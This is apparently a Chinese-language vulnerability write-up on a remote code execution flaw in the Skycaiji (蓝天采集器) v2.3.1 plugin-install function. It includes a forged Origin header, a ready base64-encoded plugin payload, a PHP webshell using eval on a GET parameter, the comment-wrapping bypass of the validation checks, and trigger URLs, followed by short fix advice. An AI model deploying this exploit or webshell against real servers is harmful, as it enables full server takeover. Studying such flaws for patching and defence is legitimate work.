蓝天采集器v2.3.1 getshell
字数 1066 2025-08-25 22:58:55
蓝天采集器v2.3.1 getshell漏洞分析与利用
漏洞概述
蓝天采集器(Skycaiji)v2.3.1版本存在一个后台插件安装功能处的远程代码执行漏洞,攻击者可以通过构造特殊的请求在服务器上写入恶意PHP文件,进而实现getshell。
环境准备
-
下载v2.3.1版本:
https://github.com/zorlan/skycaiji -
本地测试域名设置为:sky231.com
漏洞复现步骤
1. 访问插件安装接口
http://xxxx.com/index.php?s=/Admin/Store/installPlugin
2. 添加HTTP头
在请求中添加Origin头:
Origin: http://www.skycaiji.com
3. POST数据
发送以下base64编码的数据:
plugin=eyJhcHAiOiJBYUFhQWEiLCJuYW1lIjoidGVzdDEiLCJ0eXBlIjoicmVsZWFzZSIsIm1vZHVsZSI6InRlc3QyIiwiY29kZSI6IlBEOXdhSEFLTHlvS2JtRnRaWE53WVdObElIQnNkV2RwYmx4eVpXeGxZWE5sWEdOdGN6c0tDbU5zWVhOeklFRmhRV0ZCWVhzS0NYQjFZbXhwWXlBa2NtVnNaV0Z6WlRzS2ZTb3ZDa0JsZG1Gc0tDUmZSMFZVVzJGZEtUc0tQejQ9In0=
4. 文件生成位置
恶意文件将生成在:
\plugin\release\cms\AaAaAa.php
5. 触发漏洞
访问后台"发布插件"选项卡,点击"开发"按钮,然后在URL中添加a参数执行任意PHP代码:
http://sky231.com/index.php?s=/admin/Develop/releaseCms&app=AaAaAa&a=phpinfo();
代码审计分析
漏洞入口
位于/SkycaijiApp/admin/controller/Store.php文件中的installPluginAction函数。
关键函数分析
-
_checkOrigin()函数:- 检查请求来源是否在白名单中
- 使用
$_SERVER['HTTP_ORIGIN']获取来源 - 白名单包含
http://www.skycaiji.com
-
installPluginAction函数:- 对传入的plugin参数进行base64解码
- 然后进行json解码
- 调用
_installPlugin函数
-
_installPlugin函数:- 进行数据判空检查
- 当
$plugin['type']=='release'时调用addCms函数
-
addCms函数(位于/SkycaijiApp/admin/model/ReleaseApp.php):- 检查
$cms['app']不为空 - 进行三个正则校验:
- 检查
$cms['app']命名规范(可用"AaAaAa"绕过) - 检查代码中是否存在命名空间
- 检查类名是否与
$cms['app']一致
- 检查
- 检查
-
write_dir_file函数:- 负责写入文件
绕过技巧
- 使用注释符
/* */包裹命名空间和类定义部分 - 构造的PHP代码示例:
<?php
/*
namespace plugin\release\cms;
class AaAaAa{
public $release;
}*/
@eval($_GET[a]);
?>
EXP构造方法
- 准备恶意PHP代码(如上所示)
- 构造JSON格式字符串:
{
"app":"AaAaAa",
"name":"test1",
"type":"release",
"module":"test2",
"code":"PD9waHAKLyoKbmFtZXNwYWNlIHBsdWdpblxyZWxlYXNlXGNtczsKCmNsYXNzIEFhQWFBYXsKCXB1YmxpYyAkcmVsZWFzZTsKfSovCkBldmFsKCRfR0VUW2FdKTsKPz4="
}
- 将JSON字符串进行base64编码
漏洞修复建议
- 严格校验Origin头,避免伪造
- 对写入文件内容进行更严格的过滤
- 限制插件安装功能的权限
- 更新到最新版本
总结
该漏洞利用蓝天采集器后台插件安装功能的多处缺陷,通过精心构造的请求实现任意文件写入和代码执行。漏洞利用需要管理员权限,但一旦利用成功危害极大,可完全控制服务器。